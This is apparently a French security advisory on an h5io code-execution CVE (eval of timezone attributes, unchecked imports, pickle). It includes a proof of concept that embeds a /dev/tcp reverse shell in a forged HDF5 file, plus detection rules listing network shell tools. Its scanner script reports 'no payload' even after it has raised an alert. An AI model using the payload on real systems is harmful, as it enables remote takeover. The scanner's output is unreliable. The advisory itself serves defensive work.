CVE-2026-120499 : exécution de code arbitraire dans H5IO via l'évaluation dynamique et la désérialisation non sécurisée de read_hdf5
Une vulnérabilité à fort impact dans la bibliothèque Python h5io (antérieure à la version 0.2.6) permet à des attaquants distants d'exécuter des commandes système arbitraires dès qu'une application traite un fichier HDF5 manipulé via h5io.read_hdf5(). Corrigée dans le commit afff1d6 et répertoriée comme militarisée par VulnCheck, cette anomalie présente trois primitives d'exploitation distinctes : l'évaluation dynamique directe par eval() des chaînes contenues dans les nœuds timezone, l'instanciation de modules système arbitraires via _import_class() et le dépicklage automatique d'objets pandas sérialisés. h5io étant un composant fondamental du stockage de tenseurs d'apprentissage profond et de l'ingestion de données pour agents IA autonomes, l'empoisonnement de jeux de données sur des dépôts publics (Hugging Face, Kaggle) permet la prise de contrôle complète des grappes de calcul GPU. Hermes évalue CVE-2026-120499 à un score HTS de 89 (ÉLEVÉ) et lui attribue un score de sécurité agentique HASS de 86 (CRITIQUE).
SCORE DE MENACE HERMES & ÉVALUATION DE L'INTÉGRITÉ DU PIPELINE DE DONNÉES IA AGENTIQUE
Cible :Moteur d'analyse HDF5 et de sérialisation h5io (h5io.read_hdf5 / _triage_read / _import_class) [object Object]
1. Synthèse exécutive & télémétrie de la menace
Section intitulée « 1. Synthèse exécutive & télémétrie de la menace »Le 6 novembre 2026, VulnCheck a classé comme militarisée la vulnérabilité CVE-2026-120499, une faille d’exécution de code arbitraire critique dans le paquet Python h5io (versions antérieures à 0.2.6). Conçu pour sérialiser et désérialiser des structures de données scientifiques complexes (tableaux NumPy, dataframes pandas et métadonnées d’expérimentation) au format HDF5, h5io est abondamment employé au sein des pipelines de données pour modèles de fondation et dans les outils des agents d’IA autonomes.
La vulnérabilité découle de multiples routines de désérialisation non sécurisées au sein de h5io.read_hdf5(). Lorsqu’un agent ou une tâche d’entraînement ingère un fichier .h5 piégé, h5io évalue dynamiquement le code Python inséré dans les attributs de métadonnées, charge des modules système sans contrôle et désérialise des flux binaires pickle. Cette faille permet à des acteurs malveillants de compromettre les stations de travail de recherche, les grappes de calcul GPU haute performance (HPC) et les pipelines de traitement automatisé en publiant des jeux de données empoisonnés sur les registres publics.
flowchart TD subgraph Distribution["Registres publics & lacs de données"] Attaquant["Acteur malveillant / Empoisonneur"] FichierH5["Fichier HDF5 piégé (dataset.h5)\nAttribut timezone forgé : __import__('os').system(...)"] end
subgraph PipelineAgentique["Infrastructure d'IA & ML agentique"] Agent["Agent de recherche autonome / Nœud de calcul\nAppel d'outil : read_dataset(file_path)"] H5io["h5io.read_hdf5(file)"] NoeudTriage["_triage_read() sur le nœud 'timezone'"] ExecEval["Évaluation Python eval(payload, {'__builtins__': ...})"] end
subgraph Compromission["Système d'exploitation hôte & grappe de calcul"] Subprocess["Exécution de /bin/sh / Shell distant"] Tokens["Exfiltration des clés Hugging Face, OpenAI et AWS"] Mouvement["Mouvement latéral sur les nœuds de calcul GPU"] end
Attaquant -->|Publie le jeu de données piégé| FichierH5 FichierH5 -->|Ingéré par l'agent IA| Agent Agent --> H5io H5io --> NoeudTriage NoeudTriage --> ExecEval ExecEval --> Subprocess Subprocess --> Tokens Subprocess --> Mouvement2. Cause racine architecturale & décomposition de la vulnérabilité
Section intitulée « 2. Cause racine architecturale & décomposition de la vulnérabilité »L’anomalie se situe au sein de la logique de désérialisation du module interne h5io/_h5io.py. Lors de la lecture d’un groupe HDF5, read_hdf5() parcourt les sous-ensembles et délègue la reconstruction des types à la fonction _triage_read().
Dans les versions précédant le correctif 0.2.6, trois vecteurs d’exécution distincts coexistaient :
1. Injection dynamique via eval() dans le traitement des fuseaux horaires
Section intitulée « 1. Injection dynamique via eval() dans le traitement des fuseaux horaires »Pour reconstruire les objets de fuseau horaire associés aux séries temporelles, h5io vérifiait la présence d’un attribut nommé timezone. Au lieu d’analyser la chaîne à l’aide d’une liste blanche d’identifiants IANA ou via le module standard zoneinfo, h5io transmettait directement la chaîne à la fonction native eval() :
# Extrait vulnérable de h5io/_h5io.py (avant la version 0.2.6)def _triage_read(node): # ... if 'timezone' in node.attrs: tz_str = node.attrs['timezone'] # FAILLE CRITIQUE : eval() exécuté avec __builtins__ accessible ! return eval(tz_str)L’espace de noms __builtins__ n’étant nullement restreint, l’injection de l’instruction __import__('os').system('id') déclenche une exécution immédiate de commande lors de la lecture du fichier.
2. Importation arbitraire de classes et de modules
Section intitulée « 2. Importation arbitraire de classes et de modules »Pour les objets personnalisés sérialisés avec leurs métadonnées de classe, _import_class() lisait directement le chemin du module et le nom de classe dans les attributs du nœud HDF5 :
# Chargeur de classe non assainidef _import_class(module_name, class_name): # Importation sans contrôle autorisant des modules système dangereux mod = __import__(module_name, fromlist=[class_name]) return getattr(mod, class_name)En spécifiant des modules exécutant du code lors de leur initialisation, l’attaquant provoque l’exécution de code dès l’importation.
3. Désérialisation pickle non sécurisée pour les structures pandas
Section intitulée « 3. Désérialisation pickle non sécurisée pour les structures pandas »Lors de la sérialisation de tableaux pandas complexes, h5io recourait à pickle.dumps(). Lors de la lecture, pickle.loads() était invoqué sans aucune restriction, exposant le moteur aux attaques classiques par gadgets pickle (__reduce__).
3. Vecteurs d’attaque & exploitation en environnement agentique
Section intitulée « 3. Vecteurs d’attaque & exploitation en environnement agentique »Dans les écosystèmes d’IA actuels, des agents autonomes exécutent régulièrement des tâches de découverte et de prétraitement automatisé de jeux de données :
sequenceDiagram autonumber actor Attaquant as Acteur malveillant participant Hub as Dépôt public (Hugging Face / S3) participant Agent as Environnement d'exécution de l'agent IA participant Hote as Nœud de calcul GPU / Système hôte
Note over Attaquant,Hub: Étape 1 : dépôt du jeu de données piégé Attaquant->>Hub: Téléversement de 'dataset_recherche.h5' Note over Attaquant,Hub: L'attribut 'timezone' contient un stager de reverse shell
Note over Hub,Agent: Étape 2 : ingestion autonome par l'agent Agent->>Hub: Requête de l'outil d'ingestion de données Hub-->>Agent: Réception du fichier 'dataset_recherche.h5' Agent->>Agent: Exécution de l'outil : h5io.read_hdf5('dataset_recherche.h5')
Note over Agent,Hote: Étape 3 : déclenchement de l'injection eval() Note over Agent: _triage_read() évalue node.attrs['timezone'] Agent->>Hote: Lancement de /bin/sh (connexion réseau vers le C2) Hote-->>Attaquant: Shell interactif obtenu sur le nœud de calcul GPU- Création du fichier piégé : utilisation de
h5pypour forger un fichier HDF5 incorporant un attributtimezonemalveillant :import h5pywith h5py.File("dataset_piege.h5", "w") as f:dset = f.create_dataset("data", data=[1, 2, 3])dset.attrs["timezone"] = "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')" - Diffusion sur les registres publics : hébergement du fichier sous un libellé attractif pour les chercheurs en apprentissage automatique.
- Exécution automatique : dès qu’un travailleur de données ou un agent LLM manipule le fichier avec
h5io.read_hdf5(), l’interpréteur Python exécute la charge utile avec les privilèges du processus conteneurisé.
4. Triage forensique & détection SIEM
Section intitulée « 4. Triage forensique & détection SIEM »La détection nécessite la corrélation entre les processus Python d’ingestion de données et la surveillance statique des fichiers HDF5.
title: Processus Python d'ingestion HDF5 générant un sous-shell (CVE-2026-120499)id: 7f8190de-1204-99a1-8d2b-h5iocodeexecstatus: experimentaldescription: Détecte les processus de calcul Python générant des shells interactifs ou des utilitaires de transfert réseau lors de l'analyse de fichiers HDF5.references: - https://github.com/h5io/h5io/commit/afff1d61b31790f8c27e6c577bb7703eb1883ddd - https://vulncheck.com/advisories/h5io-before-0.2.6-arbitrary-code-execution-via-read-hdf5author: Équipe de cyberdéfense Hermes Codexdate: 2026-11-07logsource: category: process_creation product: linuxdetection: selection_parent: ParentImage|endswith: - '/python' - '/python3' - '/python3.11' - '/python3.12' selection_child: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' - '/usr/bin/ncat' selection_cmdline: CommandLine|contains: - '/dev/tcp' - 'python -c' - 'base64' condition: selection_parent and (selection_child or selection_cmdline)level: criticaltags: - attack.execution - attack.t1203 - attack.t1059.006 - cve.2026.120499rule Fichier_HDF5_Malveillant_h5io { meta: description = "Détecte les fichiers HDF5 exploitant CVE-2026-120499 via l'attribut timezone ou des gadgets pickle" author = "Équipe de cyberdéfense Hermes Codex" date = "2026-11-07" reference = "https://github.com/h5io/h5io/commit/afff1d61b31790f8c27e6c577bb7703eb1883ddd" cve = "CVE-2026-120499" strings: // En-tête magique HDF5 : \x89HDF\r\n\x1a\n $hdf5_magic = { 89 48 44 46 0D 0A 1A 0A }
$attr_tz = "timezone" ascii $payload_import = "__import__" ascii $payload_os = "os.system" ascii $payload_subp = "subprocess" ascii $payload_sh = "/bin/sh" ascii $payload_bash = "/bin/bash" ascii condition: $hdf5_magic at 0 and $attr_tz and ( $payload_import or $payload_os or $payload_subp or $payload_sh or $payload_bash )}# Configuration à intégrer dans /etc/audit/rules.d/ai_sandbox.rules-a always,exit -F arch=b64 -S execve -F ppid=1 -k ai_worker_anomaly-w /tmp/ -p wa -k ai_tmp_watch-w /dev/shm/ -p wa -k ai_shm_watch#!/usr/bin/env python3"""Hermes Codex : scanner statique d'audit des fichiers HDF5 pour CVE-2026-120499"""import sysimport h5py
def scan_hdf5(filepath): print(f"[*] Analyse de {filepath} face aux indicateurs CVE-2026-120499...") try: with h5py.File(filepath, "r") as f: def check_item(name, obj): for attr_key, attr_val in obj.attrs.items(): if attr_key == "timezone" and isinstance(attr_val, (str, bytes)): val_str = str(attr_val) if any(k in val_str for k in ["__import__", "os.", "subprocess", "exec", "eval", "/bin"]): print(f"[-] ALERTE CRITIQUE : charge utile détectée dans '{name}' !") print(f" Payload : {val_str}") return True if "_class" in attr_key and isinstance(attr_val, (str, bytes)): val_str = str(attr_val) if any(k in val_str for k in ["posix", "subprocess", "os"]): print(f"[-] AVERTISSEMENT : importation suspecte dans '{name}' : {val_str}") return False
f.visititems(check_item) print("[+] Analyse achevée. Aucun payload malveillant identifié.") except Exception as e: print(f"[!] Erreur de lecture : {e}")
if __name__ == "__main__": if len(sys.argv) < 2: print("Usage : python scan_h5.py <chemin_du_fichier_hdf5>") sys.exit(1) scan_hdf5(sys.argv[1])5. Stratégie de remédiation & durcissement
Section intitulée « 5. Stratégie de remédiation & durcissement »Les équipes de science des données et les opérateurs de plateformes d’IA doivent appliquer immédiatement la mise à niveau de la bibliothèque.
Mises à niveau logicielles
Section intitulée « Mises à niveau logicielles »Mettre à niveau la bibliothèque h5io au sein de l’ensemble des environnements virtuels, conteneurs et sessions Jupyterhub :
pip install --upgrade "h5io>=0.2.6"Vérifier la version résolue :
python3 -c "import h5io; print(h5io.__version__)"# Doit retourner 0.2.6 ou ultérieurAnalyse du correctif officiel (commit afff1d6)
Section intitulée « Analyse du correctif officiel (commit afff1d6) »Le correctif officiel applique trois mesures d’assainissement :
- Suppression de
eval()pour les fuseaux horaires : les fuseaux horaires sont instanciés viazoneinfo.ZoneInfooupytz.timezoneavec validation stricte du format. - Filtrage des classes autorisées : l’importation libre via
_import_class()est remplacée par un dictionnaire d’objets approuvés. - Bannissement de la désérialisation pickle : la lecture de flux binaires pickle au sein de structures pandas est désactivée par défaut.
Durcissement pour agents IA autonomes
Section intitulée « Durcissement pour agents IA autonomes »- Cloisonnement de l’ingestion de données : exécuter les tâches d’ingestion de fichiers tiers au sein d’environnements d’exécution isolés (gVisor ou micro-machines virtuelles Firecracker).
- Montage en lecture seule des dépôts de modèles :
monter les répertoires de cache (
~/.cache/huggingface) en lecture seule lors de l’exécution des outils de prétraitement. - Filtrage des flux réseau sortants : appliquer des politiques de réseau Kubernetes (NetworkPolicies) interdisant les connexions directes des nœuds de calcul vers Internet.